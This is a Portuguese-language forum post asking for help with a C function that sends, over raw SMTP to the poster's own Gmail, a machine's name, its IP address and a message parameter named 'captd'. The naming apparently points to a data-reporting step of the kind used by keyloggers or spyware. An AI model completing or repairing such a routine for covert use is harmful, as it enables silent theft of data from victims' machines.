Olá pessoal, estava tentando criar um função que enviasse um email para o meu gmail, mas não obtive sucesso, ou postar o código da função aqui e se alguém pudesse me indicar o erro eu agradeço. =]
Os parametros são: O nome da máquina, o ip e a mensagem a ser enviada.
Agradeço a quem puder ajudar.
Código:
int enviar(const char* nome, const char* ip, const char* captd){ int sock; struct sockaddr_in info; char buffer[1000]; memset(buffer, 0, 1000); if((sock=socket(AF_INET, SOCK_STREAM, 0)) == -1) return -1; info.sin_family = AF_INET; info.sin_port = htons(25); info.sin_addr.s_addr = inet_addr("74.125.142.108");//Ip do servidor smtp da google(ping smtp.gmail.com) memset(info.sin_zero, 0, 8); if(connect(sock, (struct sockaddr*)&info, sizeof(struct sockaddr)) == -1) return -1; recv(sock, buffer, 299, 0); sprintf(buffer, "EHLO senmailtome.hol.es\r\n\0"); send(sock, buffer, strlen(buffer), 0); recv(sock, buffer, 299, 0); sprintf(buffer, "MAIL FROM:<pm79269@gmail.com>\n\0"); send(sock, buffer, strlen(buffer), 0); recv(sock, buffer, 299, 0); sprintf(buffer, "RCPT TO:<pm79269@gmail.com>\n\0"); send(sock, buffer, strlen(buffer), 0); recv(sock, buffer, 299, 0); sprintf(buffer, "DATA\n\0"); send(sock, buffer, strlen(buffer), 0); recv(sock, buffer, 299, 0); sprintf(buffer, "To:pm29269@gmail.com\nFrom:pm29269@gmail.com\nSubject:Dados\n(%s)%s->%s\r\n.\r\n\0", nome, ip, captd); send(sock, buffer, strlen(buffer), 0); recv(sock, buffer, 299, 0); send(sock, "QUIT\n", 5, 0); recv(sock, buffer, 299, 0); closesocket(sock); return 1; }
Agradeço a quem puder ajudar.